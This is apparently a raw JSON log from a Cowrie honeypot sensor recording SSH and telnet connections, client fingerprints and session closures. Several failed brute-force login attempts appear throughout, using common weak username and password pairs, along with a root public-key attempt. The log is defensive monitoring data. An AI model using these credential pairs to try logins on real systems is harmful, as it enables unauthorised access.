{"eventid":"cowrie.session.closed","duration":31.63618564605713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:17.817025Z","src_ip":"111.119.202.27","session":"4552fb63dc27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":49802,"dst_ip":"10.17.0.5","dst_port":22,"session":"77567d0ae4fa","protocol":"ssh","message":"New connection: 189.46.1.73:49802 (10.17.0.5:22) [session: 77567d0ae4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:20.108369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:20.126465Z","src_ip":"189.46.1.73","session":"77567d0ae4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:20.319601Z","src_ip":"189.46.1.73","session":"77567d0ae4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd1","message":"login attempt [test/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:20.922392Z","src_ip":"189.46.1.73","session":"77567d0ae4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:22.120080Z","src_ip":"189.46.1.73","session":"77567d0ae4fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":35074,"dst_ip":"159.203.135.109","dst_port":23,"session":"59b4a064866a","protocol":"telnet","message":"New connection: 111.119.202.27:35074 (159.203.135.109:23) [session: 59b4a064866a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:23.424750Z"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":43444,"dst_ip":"10.17.0.5","dst_port":22,"session":"709bbcdf57e6","protocol":"ssh","message":"New connection: 151.80.141.196:43444 (10.17.0.5:22) [session: 709bbcdf57e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:28.120244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:28.124894Z","src_ip":"151.80.141.196","session":"709bbcdf57e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:28.202740Z","src_ip":"151.80.141.196","session":"709bbcdf57e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123","message":"login attempt [ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:28.540691Z","src_ip":"151.80.141.196","session":"709bbcdf57e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:29.620457Z","src_ip":"151.80.141.196","session":"709bbcdf57e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":42958,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6d6a6e3302","protocol":"telnet","message":"New connection: 111.119.202.27:42958 (159.203.135.109:23) [session: 3e6d6a6e3302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:32.855911Z"}
{"eventid":"cowrie.session.closed","duration":0.005719184875488281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:32.861489Z","src_ip":"111.119.202.27","session":"3e6d6a6e3302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.343196630477905,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:38.830768Z","src_ip":"212.55.149.117","session":"943251450a32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":64972,"dst_ip":"10.17.0.5","dst_port":22,"session":"e841a0030fb2","protocol":"ssh","message":"New connection: 176.65.132.190:64972 (10.17.0.5:22) [session: e841a0030fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:43.104834Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:43.110046Z","src_ip":"176.65.132.190","session":"e841a0030fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":55976,"dst_ip":"159.203.135.109","dst_port":23,"session":"7efdf6f5f03c","protocol":"telnet","message":"New connection: 111.119.202.27:55976 (159.203.135.109:23) [session: 7efdf6f5f03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:44.514423Z"}
{"eventid":"cowrie.session.closed","duration":65.22217154502869,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:45.088126Z","src_ip":"212.55.149.117","session":"0c142fda1115","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.66619086265564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:31:56.090793Z","src_ip":"111.119.202.27","session":"59b4a064866a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53070,"dst_ip":"10.17.0.5","dst_port":22,"session":"e582c1716deb","protocol":"ssh","message":"New connection: 2.57.122.238:53070 (10.17.0.5:22) [session: e582c1716deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:03.649510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:03.659074Z","src_ip":"2.57.122.238","session":"e582c1716deb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:03.762658Z","src_ip":"2.57.122.238","session":"e582c1716deb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:04.074429Z","src_ip":"2.57.122.238","session":"e582c1716deb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":53246,"dst_ip":"159.203.135.109","dst_port":23,"session":"2494af1ddc5b","protocol":"telnet","message":"New connection: 111.119.202.27:53246 (159.203.135.109:23) [session: 2494af1ddc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:04.257481Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:05.180875Z","src_ip":"2.57.122.238","session":"e582c1716deb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":38870,"dst_ip":"159.203.135.109","dst_port":23,"session":"b91427f9aeee","protocol":"telnet","message":"New connection: 111.119.202.27:38870 (159.203.135.109:23) [session: b91427f9aeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:09.105932Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":43190,"dst_ip":"159.203.135.109","dst_port":23,"session":"07068abb434a","protocol":"telnet","message":"New connection: 111.119.202.27:43190 (159.203.135.109:23) [session: 07068abb434a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:17.405816Z"}
{"eventid":"cowrie.session.closed","duration":0.005811452865600586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:17.411483Z","src_ip":"111.119.202.27","session":"07068abb434a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.619011640548706,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:27.133314Z","src_ip":"111.119.202.27","session":"7efdf6f5f03c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":39154,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9881bbce7a4","protocol":"telnet","message":"New connection: 111.119.202.27:39154 (159.203.135.109:23) [session: f9881bbce7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:30.209535Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":60144,"dst_ip":"159.203.135.109","dst_port":23,"session":"690c8a15b6bf","protocol":"telnet","message":"New connection: 111.119.202.27:60144 (159.203.135.109:23) [session: 690c8a15b6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:38.641315Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":39166,"dst_ip":"159.203.135.109","dst_port":23,"session":"af3477ed02e2","protocol":"telnet","message":"New connection: 111.119.202.27:39166 (159.203.135.109:23) [session: af3477ed02e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:41.902186Z"}
{"eventid":"cowrie.session.closed","duration":32.931368827819824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:42.037173Z","src_ip":"111.119.202.27","session":"b91427f9aeee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42884,"dst_ip":"10.17.0.5","dst_port":22,"session":"2491ad5e8a91","protocol":"ssh","message":"New connection: 2.57.122.210:42884 (10.17.0.5:22) [session: 2491ad5e8a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:58.524489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:58.635719Z","src_ip":"2.57.122.210","session":"2491ad5e8a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:58.639565Z","src_ip":"2.57.122.210","session":"2491ad5e8a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:32:59.521687Z","src_ip":"2.57.122.210","session":"2491ad5e8a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:00.625711Z","src_ip":"2.57.122.210","session":"2491ad5e8a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":39168,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ce68c63b656","protocol":"telnet","message":"New connection: 111.119.202.27:39168 (159.203.135.109:23) [session: 3ce68c63b656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:04.058128Z"}
{"eventid":"cowrie.session.closed","duration":0.009709596633911133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:04.067710Z","src_ip":"111.119.202.27","session":"3ce68c63b656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.42836594581604,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:07.637816Z","src_ip":"111.119.202.27","session":"f9881bbce7a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00178956985474,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:08.638419Z","src_ip":"111.119.202.27","session":"993beca66377","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.436909914016724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:10.078125Z","src_ip":"111.119.202.27","session":"690c8a15b6bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:11.939672Z","src_ip":"14.103.117.173","session":"3049a7ee5e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":56788,"dst_ip":"159.203.135.109","dst_port":23,"session":"28300ca3f9f9","protocol":"telnet","message":"New connection: 111.119.202.27:56788 (159.203.135.109:23) [session: 28300ca3f9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:13.556936Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.179.170","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f8cab405754","protocol":"ssh","message":"New connection: 23.94.179.170:39722 (10.17.0.5:22) [session: 4f8cab405754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:21.981610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:21.985912Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.005582Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:4e:d2:58:d4:3c:a5:44:4a:ec:59:c0:6f:45:db:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrMYH9ZrCnkTVeVgX5/stm7w+iAtghAQZhWbbw8SNsVEubtaPrfwgZ+0AuaQ3q9ua7kV/1v5KKo5a1TBXe2ouBopnTAYoxJso/f8pBovNPLsCjLByZcWh80EiN2YWaHNrVnxyybVP5HG2HSMfw/KX6cZBUvjdK1CcY4JsOkIVFAqwu9lou/4zqtyxwrecG+TCjC0FdWa2QMhAGddG1aScGbtLQ5WmUb97QOzsuwZSbn4gpOLzN+ipHmd/6FFXGJKyn6a51BfLyY+rvv0pbGPH+LBvJSG36LaoFisQVWoNKqeRB3oPohzCbvOEl1ofLrADkclkS7Q0LirTFx6sE2wkXFYQkCb4YB0V2Qs2xT8+1093RGmV3yuc6ZB4glbg7ZQViHpnUHDZ+zKgQkDBQ+ikYRWJlzz4GXdLotd+8dDtHnd7pAiEdtHHmZv1nKajNehTBUT8NCXFA8Bu8PiOr9TvjOMwD01ulpVxQ3iB65G0MeooDU1YStthwh0F3k5hEUzM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:4e:d2:58:d4:3c:a5:44:4a:ec:59:c0:6f:45:db:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:33:22.086257Z","src_ip":"23.94.179.170","session":"4f8cab405754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:4e:d2:58:d4:3c:a5:44:4a:ec:59:c0:6f:45:db:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrMYH9ZrCnkTVeVgX5/stm7w+iAtghAQZhWbbw8SNsVEubtaPrfwgZ+0AuaQ3q9ua7kV/1v5KKo5a1TBXe2ouBopnTAYoxJso/f8pBovNPLsCjLByZcWh80EiN2YWaHNrVnxyybVP5HG2HSMfw/KX6cZBUvjdK1CcY4JsOkIVFAqwu9lou/4zqtyxwrecG+TCjC0FdWa2QMhAGddG1aScGbtLQ5WmUb97QOzsuwZSbn4gpOLzN+ipHmd/6FFXGJKyn6a51BfLyY+rvv0pbGPH+LBvJSG36LaoFisQVWoNKqeRB3oPohzCbvOEl1ofLrADkclkS7Q0LirTFx6sE2wkXFYQkCb4YB0V2Qs2xT8+1093RGmV3yuc6ZB4glbg7ZQViHpnUHDZ+zKgQkDBQ+ikYRWJlzz4GXdLotd+8dDtHnd7pAiEdtHHmZv1nKajNehTBUT8NCXFA8Bu8PiOr9TvjOMwD01ulpVxQ3iB65G0MeooDU1YStthwh0F3k5hEUzM=","type":"ssh-rsa","message":"public key login attempt for [root] 